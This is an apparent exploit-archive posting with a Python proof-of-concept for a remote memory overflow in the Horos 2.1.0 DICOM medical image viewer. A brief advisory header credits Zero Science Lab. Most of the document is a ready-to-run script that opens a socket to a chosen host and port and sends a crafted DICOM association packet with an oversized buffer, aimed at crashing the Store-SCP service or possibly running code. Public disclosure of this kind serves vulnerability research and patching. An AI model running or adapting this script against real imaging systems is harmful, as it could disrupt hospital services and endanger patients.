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Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow

Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow
Posted Dec 16, 2016
Authored by LiquidWorm | Site zeroscience.mk

Horos version 2.1.0 DICOM Medical Image Viewer suffers from a remote memory overflow vulnerability.

tags | exploit, remote, overflow
SHA-256 | 3a8883dcf25bef276eb0678de3d7cf372edf5a7044a7bbd94fd00b56124393d2

Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow

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#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability
#
#
# Vendor: Horos Project
# Product web page: https://www.horosproject.org
# Affected version: 2.1.0
#
# Summary: HorosaC/ is an open-source, free medical image viewer. The goal of the Horos Project is
# to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX
# and other open source medical imaging libraries.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# Tested on: OS X 10.12.2 (Sierra)
# OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5386
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php
#
#
# 15.12.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
'\x31\x20\x00\x80\x00')

buffer = '\x41\x42\x43\x44' * 10000

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
'\x52\x00\x00\x00')

if len(sys.argv) < 3:
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
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